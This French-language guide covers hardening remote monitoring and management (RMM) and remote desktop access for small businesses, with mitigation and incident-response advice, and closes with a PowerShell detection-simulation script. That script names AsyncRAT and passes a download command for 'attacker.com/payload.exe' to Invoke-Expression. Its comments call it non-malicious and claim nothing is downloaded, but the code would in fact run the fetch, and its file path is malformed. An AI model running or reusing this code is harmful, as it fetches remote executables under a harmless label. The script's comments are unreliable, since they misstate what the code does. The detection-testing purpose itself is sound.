Sécurité RMM pour les PME : Un guide de renforcement de l’accès à distance

Résumé

Les attaquants abusent de plus en plus des outils légitimes de surveillance et de gestion à distance (RMM) et des services de bureau à distance (RDS) pour établir une persistance et soutenir le mouvement latéral. Des outils tels que ConnectWise ScreenConnect, MeshAgent et VNC peuvent être utilisés comme armes grâce à l’exploitation de vulnérabilités ou à des installateurs truqués. Cela crée un défi important pour les petites et moyennes entreprises, où l’activité malveillante peut ressembler de près à l’administration informatique légitime.

Enquête

L’analyse s’appuie sur la télémétrie d’Acronis de plus de 1,8 million de points de terminaison gérés pour évaluer les risques liés au RMM pour les PME et les MSP. Les chercheurs ont constaté que 63 % des points de terminaison utilisent plusieurs outils d’accès à distance, élargissant ainsi la surface d’attaque potentielle. L’étude a regroupé les logiciels RMM en trois catégories : outils à bloquer, outils à surveiller et renforcer et outils à auditer et maintenir.

Atténuation

Les organisations devraient désactiver les services RDP inutiles via la stratégie de groupe, appliquer l’authentification au niveau du réseau (NLA) et exiger une authentification à facteurs multiples pour tous les comptes administrateurs RMM. La liste blanche des applications peut aider à prévenir les installations RMM non autorisées, tandis que l’infrastructure RMM exposée à Internet devrait être corrigée rapidement. Acheminer l’accès à distance via des passerelles VPN ou ZTNA est également recommandé pour renforcer les contrôles d’accès.

Réponse

Lors de la détection d’outils RMM non autorisés, les organisations devraient immédiatement enquêter sur leur source d’installation et rechercher tout vol de crédentiels ou mouvement latéral connexe. L’activité non autorisée de MeshAgent devrait être traitée comme un compromis confirmé. La suppression automatique peut être inefficace lorsque des mécanismes de persistance sont présents, nécessitant une escalade à des réponses aux incidents manuelles et une enquête médico-légale approfondie.

Exécution de simulation

Prérequis : La vérification préliminaire de télémétrie et de référence doit avoir été réussie.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Les exemples abstraits ou non liés entraîneront des erreurs de diagnostic.

• Narration de l’attaque et commandes : L’adversaire a obtenu un accès initial au poste de travail via une charge utile de hameçonnage. Pour établir une persistance et un contrôle à distance, il a l’intention de déployer un cheval de Troie d’accès à distance. Ils exécutent un one-liner PowerShell qui, bien que n’effectuant pas réellement de téléchargement de charge utile dans cette simulation, contient la chaîne de signature AsyncRAT au sein du bloc script pour simuler la phase de déploiement d’une installation de logiciel malveillant. Cela imite un attaquant utilisant un script simple pour télécharger leur toolkit.

• Script de test de régression :

  # Script de simulation pour déclencher la règle de détection en incluant la chaîne ciblée.
  # Remarque : Il s'agit d'une simulation non malveillante conçue uniquement pour produire de la télémétrie.
  
  $SimulatedMalwareName = "AsyncRAT"
  Write-Host "Initialisation de la séquence de déploiement pour $SimulatedMalwareName..."
  
  # Ce bloc simule la logique d'un téléchargeur/installeur
  $payload = "Invoke-WebRequest -Uri 'http://attacker.com/payload.exe' -OutFile '$env:TEMPmalware.exe'"
  
  # Exécution de la chaîne pour s'assurer qu'elle apparaît dans le Script Block Log (Événement 4104)
  Invoke-Expression "Write-Output 'Déploiement de $SimulatedMalwareName...'; $payload"

• Commandes de nettoyage :

  # Nettoyage : Supprimez tous les artefacts s'ils ont été réellement créés.
  # Dans cette simulation, aucun fichier n'a été réellement téléchargé.
  Remove-Item -Path "$env:TEMPmalware.exe" -ErrorAction SilentlyContinue
  Write-Host "Nettoyage terminé."